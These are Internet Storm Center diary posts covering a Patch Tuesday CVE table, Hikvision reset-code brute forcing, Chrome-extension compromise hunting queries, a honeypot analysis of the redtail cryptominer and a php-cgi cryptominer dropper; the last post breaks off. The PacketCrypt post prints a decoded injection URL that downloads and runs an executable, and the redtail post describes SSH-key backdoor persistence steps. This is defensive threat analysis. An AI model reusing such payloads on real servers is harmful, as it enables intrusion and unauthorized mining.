%%cve:2025-21271%% | No | No | - | - | Important | 7.8 | 6.8 |
Windows Connected Devices Platform Service (Cdpsvc) Denial of Service Vulnerability | |||||||
%%cve:2025-21207%% | No | No | - | - | Important | 7.5 | 6.5 |
Windows Cryptographic Information Disclosure Vulnerability | |||||||
%%cve:2025-21336%% | No | No | - | - | Important | 5.6 | 4.9 |
Windows Digital Media Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21249%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21255%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21258%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21260%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21263%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21265%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21327%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21341%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21226%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21227%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21228%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21229%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21232%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21256%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21261%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21310%% | No | No | - | - | Important | 6.6 | 5.8 |
%%cve:2025-21324%% | No | No | - | - | Important | 6.6 | 5.8 |
Windows Direct Show Remote Code Execution Vulnerability | |||||||
%%cve:2025-21291%% | No | No | - | - | Important | 8.8 | 7.7 |
Windows Event Tracing Denial of Service Vulnerability | |||||||
%%cve:2025-21274%% | No | No | - | - | Important | 5.5 | 4.8 |
Windows Geolocation Service Information Disclosure Vulnerability | |||||||
%%cve:2025-21301%% | No | No | - | - | Important | 6.5 | 5.7 |
Windows Graphics Component Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21382%% | No | No | - | - | Important | 7.8 | 6.8 |
Windows HTML Platforms Security Feature Bypass Vulnerability | |||||||
%%cve:2025-21269%% | No | No | - | - | Important | 4.3 | 3.8 |
Windows Hyper-V NT Kernel Integration VSP Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21335%% | No | Yes | - | - | Important | 7.8 | 6.8 |
%%cve:2025-21333%% | No | Yes | - | - | Important | 7.8 | 6.8 |
%%cve:2025-21334%% | No | Yes | - | - | Important | 7.8 | 6.8 |
Windows Installer Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21287%% | No | No | - | - | Important | 7.8 | 7.2 |
%%cve:2025-21331%% | No | No | - | - | Important | 7.3 | 6.4 |
Windows Kerberos Denial of Service Vulnerability | |||||||
%%cve:2025-21218%% | No | No | - | - | Important | 7.5 | 6.5 |
Windows Kerberos Information Disclosure Vulnerability | |||||||
%%cve:2025-21242%% | No | No | - | - | Important | 5.9 | 5.2 |
Windows Kerberos Security Feature Bypass Vulnerability | |||||||
%%cve:2025-21299%% | No | No | - | - | Important | 7.1 | 6.2 |
Windows Kernel Memory Information Disclosure Vulnerability | |||||||
%%cve:2025-21316%% | No | No | - | - | Important | 5.5 | 4.8 |
%%cve:2025-21318%% | No | No | - | - | Important | 5.5 | 4.8 |
%%cve:2025-21319%% | No | No | - | - | Important | 5.5 | 4.8 |
%%cve:2025-21320%% | No | No | - | - | Important | 5.5 | 4.8 |
%%cve:2025-21321%% | No | No | - | - | Important | 5.5 | 4.8 |
%%cve:2025-21317%% | No | No | - | - | Important | 5.5 | 4.8 |
%%cve:2025-21323%% | No | No | - | - | Important | 5.5 | 4.8 |
Windows Line Printer Daemon (LPD) Service Remote Code Execution Vulnerability | |||||||
%%cve:2025-21224%% | No | No | - | - | Important | 8.1 | 7.1 |
Windows MapUrlToZone Denial of Service Vulnerability | |||||||
%%cve:2025-21276%% | No | No | - | - | Important | 7.5 | 6.5 |
Windows NTLM Spoofing Vulnerability | |||||||
%%cve:2025-21217%% | No | No | - | - | Important | 6.5 | 5.7 |
Windows NTLM V1 Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21311%% | No | No | - | - | Critical | 9.8 | 8.5 |
Windows OLE Remote Code Execution Vulnerability | |||||||
%%cve:2025-21298%% | No | No | - | - | Critical | 9.8 | 8.5 |
Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21234%% | No | No | - | - | Important | 7.8 | 6.8 |
%%cve:2025-21235%% | No | No | - | - | Important | 7.8 | 6.8 |
Windows Recovery Environment Agent Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21202%% | No | No | - | - | Important | 6.1 | 5.3 |
Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability | |||||||
%%cve:2025-21307%% | No | No | - | - | Critical | 9.8 | 8.5 |
Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability | |||||||
%%cve:2025-21278%% | No | No | - | - | Important | 6.2 | 5.4 |
%%cve:2025-21225%% | No | No | - | - | Important | 5.9 | 5.2 |
Windows Remote Desktop Services Remote Code Execution Vulnerability | |||||||
%%cve:2025-21297%% | No | No | - | - | Critical | 8.1 | 7.1 |
%%cve:2025-21309%% | No | No | - | - | Critical | 8.1 | 7.1 |
Windows Remote Desktop Services Denial of Service Vulnerability | |||||||
%%cve:2025-21330%% | No | No | - | - | Important | 7.5 | 6.5 |
Windows Search Service Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21292%% | No | No | - | - | Important | 8.8 | 7.7 |
Windows Security Account Manager (SAM) Denial of Service Vulnerability | |||||||
%%cve:2025-21313%% | No | No | - | - | Important | 6.5 | 5.7 |
Windows Smart Card Reader Information Disclosure Vulnerability | |||||||
%%cve:2025-21312%% | No | No | - | - | Important | 2.4 | 2.1 |
Windows SmartScreen Spoofing Vulnerability | |||||||
%%cve:2025-21314%% | No | No | - | - | Important | 6.5 | 5.7 |
Windows Telephony Service Remote Code Execution Vulnerability | |||||||
%%cve:2025-21411%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21413%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21233%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21236%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21237%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21239%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21241%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21243%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21244%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21248%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21252%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21266%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21282%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21302%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21303%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21306%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21273%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21286%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21305%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21339%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21246%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21417%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21250%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21240%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21238%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21223%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21409%% | No | No | - | - | Important | 8.8 | 7.7 |
%%cve:2025-21245%% | No | No | - | - | Important | 8.8 | 7.7 |
Windows Themes Spoofing Vulnerability | |||||||
%%cve:2025-21308%% | Yes | No | - | - | Important | 6.5 | 5.7 |
Windows Virtual Trusted Platform Module Denial of Service Vulnerability | |||||||
%%cve:2025-21280%% | No | No | - | - | Important | 5.5 | 4.8 |
%%cve:2025-21284%% | No | No | - | - | Important | 5.5 | 4.8 |
Windows Virtualization-Based Security (VBS) Enclave Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21370%% | No | No | - | - | Important | 7.8 | 6.8 |
Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability | |||||||
%%cve:2025-21340%% | No | No | - | - | Important | 5.5 | 4.8 |
Windows WLAN AutoConfig Service Information Disclosure Vulnerability | |||||||
%%cve:2025-21257%% | No | No | - | - | Important | 5.5 | 4.8 |
Windows Web Threat Defense User Service Information Disclosure Vulnerability | |||||||
%%cve:2025-21343%% | No | No | - | - | Important | 7.5 | 6.5 |
Windows upnphost.dll Denial of Service Vulnerability | |||||||
%%cve:2025-21389%% | No | No | - | - | Important | 7.5 | 6.5 |
%%cve:2025-21300%% | No | No | - | - | Important | 7.5 | 6.5 |
0 Comments
Hikvision Password Reset Brute Forcing
One common pattern in password resets is sending a one-time password to the user to enable them to reset their password. The flow usually looks like:
- User Requests a password reset
- The user enters an e-mail address or phone number that is already registered with the application
- The application may ask for a password reset question
- The user now receives a random code that is entered into the password reset page
- finally, the user can reset their password
Overall, this approach is not terrible. It is similar to sending a one-time password reset link via email but avoids the issue of the user having to click on a link (which may be difficult with some mobile applications). This reset method tends to work better with users using mobile phones as they may be able to receive the code via SMS. Or, if they use a "fat" email client on a desktop, they can easily type the code into the mobile device.
But there is a critical issue that is often overlooked:
The page verifying the code MUST implement some basic brute force protection. Otherwise, it tends to be easy to brute force the code, which is often just a five or six-digit number. Of course, this assumes that the code is random! More about this later.
This has been an issue a few times already. Facebook, for example, suffered from this weakness last year. Only a limited number of attempts should be allowed to implement some brute force protection, and the time the code is valid should be constrained. In my opinion, for an "average" site, five attempts and 30 minutes seem reasonable.
One reminder that this is still an issue came today from our "First Seen URLs" page. While not an actual "First Seen" URL, the URL
/PSIA/Custom/HIK/userCheck
had a bit of a breakout with more users than normal reporting honeypot hits for this URL.
An exploit for the Hikvision issue has been available since 2018 when Rasmus Moorats published a blog with some code showing how to exploit the vulnerability [1]. Rasmus even went a significant step further. With access to the firmware, he could decompile it, and reverse engineer the function used to create the reset code. Turns out that the code was not random at all, but instead derived from the UPNP data. This data can be retrieved without authentication. You do not necessarily have to be on the same network, but an HTTP request for /upnpdevicedesc.xml is all it takes.
[1] https://nns.ee/blog/2018/08/01/hikvision-keygen.html
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
0 Comments
Multi-OLE
VBA macros and embedded files/objects are stored as OLE files inside OOXML files.
You can have .docm files with many OLE files, like this one, analyzed with zipdump.py:
If you analyze this with oledump.py, each OLE file inside the ZIP container will get its own letter prefix:
Use this letter prefix to select the correct stream, like this for the VBA code stream:
If it's the first OLE file (prefix A) you want to analyze with oledump.py, it's actually not necessary to include the letter:
But the letter is required for any other OLE file:
Although it is not case-sensitive:
Didier Stevens
Senior handler
blog.DidierStevens.com
0 Comments
Wireshark 4.4.3 Released
Wireshark release 4.4.3 fixes 0 vulnerabilities and 8 bugs.
Didier Stevens
Senior handler
blog.DidierStevens.com
0 Comments
Windows Defender Chrome Extension Detection
With the recent Cyberhaven Extension(2) attack, looking for specific Chrome extensions installed can be very helpful. If you are running Defender with enhanced vulnerability management, Defender automatically catalogs installed extensions by going to Vulnerability Management -> Inventories and selecting Browser Extension from the Defender Console. Also, you can do Hunt Queries on the DeviceTvmBrowserExtensions table.
For those who do not have this feature, you can still look for malicious extensions by searching for the Chrome Extension ID. This ID is used for the folder name on the computer and is easy to find. If you have other Chrome variant browsers, this query will also catch extensions in them. The query at the bottom(1) covers all the IDs listed in the article for Cyberhaven.
For this extension, the malicious version was 1.5.7
In the example above, we can see that version 1.5.7 was installed on Dec 12th and updated to 1.6.2 on Jan 5th.
There are several write-ups with more IOCs about this (2). The below query is a Zeek DNS query for Defender for the C&C domain.
DeviceNetworkEvents
| where ActionType == 'DnsConnectionInspected'
| extend json = todynamic(AdditionalFields)
| extend query = tostring(json.query)
| where query == "cyberhavenext.pro"
or query == "api.cyberhaven.pro"
|summarize by DeviceName
If you happen to have a user affected by this, they need to reset their passwords and session to anything sensitive they have accessed during that time.
(1)
DeviceFileEvents
|where FolderPath contains "nnpnnpemnckcfdebeekibpiijlicmpom" or
FolderPath contains "kkodiihpgodmdankclfibbiphjkfdenh" or
FolderPath contains "oaikpkmjciadfpddlpjjdapglcihgdle" or
FolderPath contains "dpggmcodlahmljkhlmpgpdcffdaoccni" or
FolderPath contains "acmfnomgphggonodopogfbmkneepfgnh" or
FolderPath contains "mnhffkhmpnefgklngfmlndmkimimbphc" or
FolderPath contains "cedgndijpacnfbdggppddacngjfdkaca" or
FolderPath contains "bbdnohkpnbkdkmnkddobeafboooinpla" or
FolderPath contains "egmennebgadmncfjafcemlecimkepcle" or
FolderPath contains "bibjgkidgpfbblifamdlkdlhgihmfohh" or
FolderPath contains "befflofjcniongenjmbkgkoljhgliihe" or
FolderPath contains "pkgciiiancapdlpcbppfkmeaieppikkk" or
FolderPath contains "llimhhconnjiflfimocjggfjdlmlhblm" or
FolderPath contains "oeiomhmbaapihbilkfkhmlajkeegnjhe" or
FolderPath contains "ndlbedplllcgconngcnfmkadhokfaaln" or
FolderPath contains "epdjhgbipjpbbhoccdeipghoihibnfja" or
FolderPath contains "cplhlgabfijoiabgkigdafklbhhdkahj" or
FolderPath contains "jiofmdifioeejeilfkpegipdjiopiekl" or
FolderPath contains "hihblcmlaaademjlakdpicchbjnnnkbo" or
FolderPath contains "llimhhconnjiflfimocjggfjdlmlhblm" or
FolderPath contains "ekpkdmohpdnebfedjjfklhpefgpgaaji" or
FolderPath contains "epikoohpebngmakjinphfiagogjcnddm" or
FolderPath contains "miglaibdlgminlepgeifekifakochlka" or
FolderPath contains "eanofdhdfbcalhflpbdipkjjkoimeeod" or
FolderPath contains "ogbhbgkiojdollpjbhbamafmedkeockb" or
FolderPath contains "bgejafhieobnfpjlpcjjggoboebonfcg" or
FolderPath contains "igbodamhgjohafcenbcljfegbipdfjpk" or
FolderPath contains "mbindhfolmpijhodmgkloeeppmkhpmhc" or
FolderPath contains "hodiladlefdpcbemnbbcpclbmknkiaem" or
FolderPath contains "lbneaaedflankmgmfbmaplggbmjjmbae" or
FolderPath contains "eaijffijbobmnonfhilihbejadplhddo" or
FolderPath contains "hmiaoahjllhfgebflooeeefeiafpkfde"
(2)https://arstechnica.com/security/2025/01/dozens-of-backdoored-chrome-extensions-discovered-on-2-6-million-devices/
(3)https://secureannex.com/blog/cyberhaven-extension-compromise/
--
Tom Webb
@tom_webb@infosec.exchange
0 Comments
Examining Redtail Analyzing a Sophisticated Cryptomining Malware and its Advanced Tactics [Guest Diary]
[This is a Guest Diary by Cody Hales, an ISC intern as part of the SANS.edu BACS program]
Introduction
From August to November 2024, my honeypot has captured a wide array of malicious content. In this analysis, I will focus on a specific strain of malware called redtail and the scripts that enable its execution. redtail is a cryptocurrency mining malware (coin miner) that stealthily installs itself on compromised systems, exploiting the host’s resources for unauthorized cryptocurrency mining to benefit the threat actor. I have observed this malware being executed on my honeypot 4 times by 3 different threat actors.
To execute successfully, redtail utilizes two extra scripts: one script identifies the CPU architecture of the victim system, ensuring compatibility for the malware, and a second script removes any other cryptomining software that may already exist on the compromised system. This dual approach highlights the advanced tactics employed by threat actors to maintain persistence and evade detection.
Using a combination of modern threat intelligence feeds and my own observations, I will shed light on the tactics employed by the threat actors behind these attacks and examine the sophisticated features of coin mining malware currently active. Additionally, I will discuss the broader implications of this analysis, why it is relevant, and how to prevent or mitigate the threat.
Description of the Subject
redtail is a particularly dangerous piece of malware due to its ability to run on multiple CPU architectures as well as its ability to continuously evolve, significantly broadening the range of devices and hosts it can compromise. As recently as April 2024, a new variant of redtail was documented, exploiting a critical vulnerability in Palo Alto Networks' PAN-OS (CVE-2024-3400). This vulnerability allows a threat actor to create an arbitrary file that could eventually enable command execution with root privileges on the NGFW, bypassing security measures in place [17]. The samples analyzed in this post offer a look into variants of redtail crypto mining malware actively circulating today.
Analysis of the Attack Observations
Based on an initial analysis that began with an earlier attack observation [19], on October 15, 2024, at 00:47:54 UTC, a threat actor using IP address 5.182.211.148 connected to the honeypot with the credentials "root/nimda." This was the threat actors’ first and only attempt at gaining access to the honeypot. The threat actor probed a single port, TCP/2222, before establishing the connection. The session ID for this connection was 99c515936ae6. After the threat actor gained access, they uploaded a total of 6 files to the honeypot: clean.sh, redtail.arm7, redtail.arm8, redtail.i686, redtail.x86_64, and setup.sh.
The following screen capture for my honeypot shows the command the threat actor ran to install the scripts needed to prepare and run redtail.
After gaining access the threat actor makes clean.sh executable via the chmod -x command, then runs the script. This script appears to remove any attempt a previous threat actor has made to install cryptomining software, specifically disabling c3pool_miner, a Monero cryptomining tool, as well as any malicious cronjobs and scheduled tasks. After the script runs, the threat actor forcefully removes any evidence of the clean.sh script; this is accomplished using the rm -rf command. Below is a screenshot of the clean.sh script captured from my honeypot.
After the clean.sh script is removed, the threat actor follows the same steps to make setup.sh executable, runs the script, and then forcibly removes any evidence that the script was present on the system. Below is a screenshot of the setup.sh script captured from my honeypot. This screenshot will be referenced again later.
After the clean.sh and setup.sh scripts have been run and removed, the threat actor creates a .ssh directory, if it does not already exist. The threat actor then uses the chattr (change attribute) command with -ia to remove the immutable and append only attributes for the authorized_keys file under the .ssh directory. The threat actor then adds a SSH public key to the authorized_keys file by using the echo ssh-rsa ... rsa-key-20230629 command. This allowed the threat actor to gain persistent access without needing a password, establishing a backdoor. Then the chattr +ia command is run to reestablish the immutable and append only attributes to the authorized_keys file. This makes the file more difficult to delete, aiding in maintaining persistence. The uname -a command is run, displaying system information such as kernel version, hostname, and operating system. The final command to be run is echo -e \x61\x75\x74\x68\x5F\x6F\x6B\x0A; using cyberchef to convert the hexadecimal the line reads auth_ok ( \x61\x75\x74\x68\x5F\x6F\x6B) with a new line (\x0A) [20]. This shows that the SSH key has been added successfully.
Directly after the previous string of commands were run the logs show the 6 files being uploaded over secure FTP on port 69.
Focusing on the redtail files, a quick search of the file hash using virustotal shows that they are cryptomining malware. As an example, when the file hash for the first redtail variant (redtail.arm7) is run in virustotal it gets a community score of 31/64 [6]. That virustotal page can be seen in the following screenshot.
Further Analysis
From October 15th to November 11th the redtail malware attack has been attempted 4 times, all using the same clean.sh and setup.sh scripts and similar redtail files. The first of these attacks was highlighted in the previous section. This threat actor’s IP address, 5.182.211.148, came from The Netherlands, receiving a severity score of 5 of 5, a confidence score of 4 of 5, and a risk score of 4 or 5 by threatstop.com. When the IP was run in virustotal, it received a 10/94 community score [2]. Both threatstop and virusetotal confirmed that the IP was from The Netherlands. Below is a screenshot of the whois information for IP address 5.182.211.148 provided by threatstop.com.
The 3 other attacks made to the honeypot were made by two IP addresses 94.103.125.37 and 87.120.113.231, both originating in Bulgaria. These Bulgarian IP addresses had similar virustotal scores to the IP from The Netherlands; 94.103.125.37 received a 7/94 community score [3] and 87.120.113.231 received a 17/94 community score [4]. Though both threatstop and virustotal state that the IP addresses are from Bulgaria, the whois information for these IP addresses shows physical addresses in the United States, either Anchorage Alaska or Boulder Colorado.
During the analysis it was discovered that the redtail files uploaded by the Netherlands IP address differed from those uploaded by the Bulgarian Ip addresses. The Netherlands file hashes were as follows:
redtail.arm7 7cd48d762a343b483d0ce857e5d2e30fc795d11a20f1827679b9a05d5ab75c3f
redtail.arm8 cebd34c54c9ac02902ef8554939cf6a34aa8f320ea051e0f3d67d91685a1abf0
redtail.i686 f1f34b7b798f8ec472b69eb5bd196381d749ced4d4a461d563896dfa827c84b6
redtail.x86_64 16782165ceb9ac6ac5e8d6db387de9c18b9c214031ef36c0b092f9314342414a
Bulgarian file hashes:
redtail.arm7 d4635f0f5ab84af5e5194453dbf60eaebf6ec47d3675cb5044e5746fb48bd4b4
redtail.arm8 992cb5a753697ee2642aa390f09326fcdb7fd59119053d6b1bdd35d47e62f472
redtail.i686 69dc9dd8065692ea262850b617c621e6c1361e9095a90b653b26e3901597f586
redtail.x86_64 29f8524562c2436f42019e0fc473bd88584234c57979c7375c1ace3648784e4b
In all cases the hashes for the clean.sh and setup.sh files were the same. Due to the differences in redtail file hashes, I believe that the Bulgarian attacks may be coming from a single threat actor using a botnet to deliver their malware.
How to Protect Your System
Protecting your systems from cryptomining malware like redtail is crucial in today’s threat environment. One of the most fundamental measures for system protection is ensuring that all software is consistently patched with the latest security updates. In addition to system patching, deploying a reputable, full-featured antimalware solution can significantly reduce the risk of malware spreading or executing on your systems. Given the evolving nature of cryptominers, as well as other types of malicious software, it’s vital for system defenders to have the best tools at their disposal, and maintaining up-to-date antimalware solutions is an essential part of a complete defense strategy.
As outlined above, malware can also exploit vulnerabilities in security devices. A key defense strategy is to disable unused ports and services. In all observed attacks, adversaries used SFTP to transfer malicious files, often targeting common file transfer ports such as ports 69, 118, 132, and 566. If your system does not require file transfer services, blocking these ports can help prevent threat actors from delivering malicious payloads.
In every instance of attack observed, the adversary gained access via weak root login credentials on the honeypot. Without root-level access, the threat actors would have been unable to implant their own SSH key, a tactic used to establish persistence. It is considered a best practice to disable direct root logins on all systems to mitigate this risk.
To further protect against malware attempting to gain root access, consider implementing SSH shared keys, Fail2ban, or TCP Wrappers. SSH shared keys enable passwordless login through the use of a private key, reducing the risk associated with weak passwords. SSH shared keys work by generating a pair of keys that are shared and placed in the shared_keys file on each system allowing the individual, who is authorized, to access a system using a private key. Alternatively, TCP Wrappers offer a host-based access control mechanism, utilizing IP addresses or system names as tokens for access verification. When the token is legitimate, the system grants connection [15]. Additionally, Fail2ban provides an extra layer of protection by monitoring log files for suspicious entries and blocking unwanted IP addresses. It can integrate seamlessly with TCP Wrappers, IP tables, and firewall rules to help prevent unauthorized access [16] and mitigate threats like redtail.
A highly effective tactic for defending against not just cryptominers but all forms of malware is the use of centralized log monitoring, typically implemented through a Security Information and Event Management (SIEM) system. SIEMs are essential tools for malware detection and prevention, offering comprehensive visibility, advanced threat detection, and swift response capabilities. By aggregating logs and security data from across the network—including firewalls, antivirus solutions, endpoint detection systems, and other devices—SIEMs can correlate information to identify suspicious patterns or anomalies that may signal malware activity, such as unauthorized access attempts, unexpected file downloads, or unusual process executions. Many modern SIEMs also integrate with external threat intelligence feeds, enabling them to cross-reference internal activity with the latest information on known malware signatures, command-and-control servers, and malicious IP addresses. This integration allows SIEMs to swiftly detect and block threats before they can spread, enhancing overall network security.
Conclusion
In summary, redtail malware demonstrates the evolving sophistication of cryptomining threats, using scripts to identify CPU architecture and remove competing miners, while also exploiting system vulnerabilities for root access. Effective protection requires a comprehensive strategy including regular system and security patching, robust antimalware solutions, disabling direct root logins, use of a SIEM solution, and implementing SSH shared keys, Fail2ban, or TCP Wrappers. Blocking unnecessary ports and services further mitigates risk. The attacks observed on my honeypot highlight the importance of strong credentials and proactive defenses, underscoring the need for continuous vigilance against advanced threats.
[1] https://www.threatstop.com/check-ioc
[2] https://www.virustotal.com/gui/ip-address/5.182.211.148/detection
[3] https://www.virustotal.com/gui/ip-address/94.103.125.37/detection
[4] https://www.virustotal.com/gui/ip-address/87.120.113.231/detection
[5] https://www.virustotal.com/gui/file/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
[6] https://www.virustotal.com/gui/file/7cd48d762a343b483d0ce857e5d2e30fc795d11a20f1827679b9a05d5ab75c3f
[7] https://www.virustotal.com/gui/file/cebd34c54c9ac02902ef8554939cf6a34aa8f320ea051e0f3d67d91685a1abf0
[8] https://www.virustotal.com/gui/file/f1f34b7b798f8ec472b69eb5bd196381d749ced4d4a461d563896dfa827c84b6
[9] https://www.virustotal.com/gui/file/16782165ceb9ac6ac5e8d6db387de9c18b9c214031ef36c0b092f9314342414a
[10] https://www.virustotal.com/gui/file/3b15778595cef00d1a51035dd4fd65e6be97e73544cb1899f40aec4aaa0445ae
[11] https://www.virustotal.com/gui/file/d4635f0f5ab84af5e5194453dbf60eaebf6ec47d3675cb5044e5746fb48bd4b4
[12] https://www.virustotal.com/gui/file/992cb5a753697ee2642aa390f09326fcdb7fd59119053d6b1bdd35d47e62f472
[13] https://www.virustotal.com/gui/file/69dc9dd8065692ea262850b617c621e6c1361e9095a90b653b26e3901597f586
[14] https://www.virustotal.com/gui/file/29f8524562c2436f42019e0fc473bd88584234c57979c7375c1ace3648784e4b
[15] https://en.wikipedia.org/wiki/TCP_Wrappers
[16] https://en.wikipedia.org/wiki/Fail2ban
[17] https://www.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit
[18] https://xmrig.com/docs/miner
[19] Attack Observation 5.docx -- https://canvas.sans.edu/courses/409/assignments/4080?module_item_id=5346
[20] https://cyberchef.org/#recipe=From_Hex('Auto')&input=XHg2MVx4NzVceDc0XHg2OFx4NUZceDZGXHg2Qlx4MEE
[21] https://www.sans.edu/cyber-security-programs/bachelors-degree/
ChatGPT was utilized for assistance with refining grammar and enhancing the professionalism and readability of the blog post. All research, analysis, content creation, and technical details are my own or are referenced above.
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
0 Comments
PacketCrypt Classic Cryptocurrency Miner on PHP Servers
The SANS DShield project receives a wide variety of logs submitted by participants of the DShield project. Looking at the “First Seen” URLs page, I observed an interesting URL and dived deeper to investigate. The URL recorded is as follows:
/cgi-bin/php-cgi.exe?arg=%0aContent-Type:%20text/plain%0a%0a<?php%20system('curl%20-L%20-k%20-O%20http%3A%2F%2F[redacted]%2Fdr0p.exe%20%26%26%20.%2Fdr0p.exe%20%7C%7C%20wget%20--no-check-certificate%20http%3A%2F%2F[redacted]%2Fdr0p.exe%20%26%26%20
Let’s make it more readable via the quintessential CyberChef or another web proxy tool such as Burp Decoder:
/cgi-bin/php-cgi.exe?arg= Content-Type: text/plain <?php system('curl -L -k -O http://[redacted]/dr0p.exe && ./dr0p.exe || wget --no-check-certificate http://[redacted]/dr0p.exe &&
Interesting. As the name implies, it looks like an executable that is designed to download a secondary payload. A quick search of the filename yielded a recent VirusTotal (VT) submission [1] and a SHA256 hash of d078d8690446e831acc794ee2df5dfabcc5299493e7198993149e3c0c33ccb36.
Some brief dynamic malware reverse engineering yielded very interesting observations. Firstly, dr0p.exe went ahead to retrieve a secondary file pkt1.exe (e3d0c31608917c0d7184c220d2510848f6267952c38f86926b15fb53d07bd562) from 23.27.51.244. According to Shodan (and with reference to Figure 1), the US-based IP address had 4 open ports (22, 80, 110, and 6664) and was running the EvilBit Block Explorer on port 80.
Figure 1: Querying 23.27.51.244 on Shodan
The file pkt1.exe further spawns an executable packetcrypt.exe and passes a PacketCrypt (PKT Classic) wallet address (pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a) as part of the arguments. Let us take a look at the mining done so far via the native PKT Classic (PKTC) blockchain explorer [2]. With reference to Figure 2, the owner of the wallet appears to have made 5 PKTC so far (roughly about 0.0021785USDT at current prices).
Figure 2: PacketCrypt Classic (PKTC) Wallet Activity
The observed web URL activity appears to exploit vulnerable (such as the recent CVE-2024-4577) PHP servers or misconfigured PHP servers that allow unfettered public access to php-cgi.exe for reasons only known to system owners. If you have not checked on your PHP servers for a while (which should never be the case!), perhaps this is a gentle reminder for systems owners to patch and audit their web servers for vulnerabilities and unintended performance issues caused by crypto miners.
Side note: During the investigation, it was noted that the PacketCrypt (PKT) project evolved from a proof-of-work approach [now known as PKT Classic (PKTC)] to a new Stake-to-Earn (currently known as PKT) approach [3]. As such, there is a distinction in the cryptocurrency for the legacy project (PKTC) and the current iteration (PKT). In this diary, the mined cryptocurrency on vulnerable PHP servers is PKTC.
Indicators-of-Compromise (IoCs):
%%ip:23.27.51.244%% (IP address where pkt1.exe is retrieved)
d078d8690446e831acc794ee2df5dfabcc5299493e7198993149e3c0c33ccb36 (SHA256 hash of dr0p.exe)
e3d0c31608917c0d7184c220d2510848f6267952c38f86926b15fb53d07bd562 (SHA256 hash of pkt1.exe)
717fe92a00ab25cae8a46265293e3d1f25b2326ecd31406e7a2821853c64d397 (SHA256 hash of packetcrypt.exe)
pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a (PKTC Wallet Address)
References:
1. https://www.virustotal.com/gui/file/d078d8690446e831acc794ee2df5dfabcc5299493e7198993149e3c0c33ccb36
2. https://www.pkt.world/explorer?wallet=pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a&minutes=1440&pools=all
3. https://crypto.pkt.cash/announcements/pktclassic-adopts-new-ticker-pktc/
-----------
Yee Ching Tok, Ph.D., ISC Handler
Personal Site
Mastodon
Twitter
0 Comments
Make Malware Happy
When I teach FOR610[1], I like to use a funny quotation with my students: “Make malware happy!” What does it mean? Yes, we like malware, and we need to treat it in a friendly way. To help the malware work or detonate successfully, it’s recommended that we replicate the environment where it was discovered (or at least, as much as possible). This is not always easy because we often receive a sample outside of its context.
Some examples?
- Respect the user rights, are administrator rights required?
- Respect the path of files used by the malware (or its own path)
- Respect the OS or tools versions
- Respect the binary name
- …
Some sandboxes launch samples in a VM from the same directory and with the same name like "c:\temp\sample.exe". From a malware point of view, it’s a piece of cake to detect if the environment changed!
First example, detect the name of the executable file in .Net:
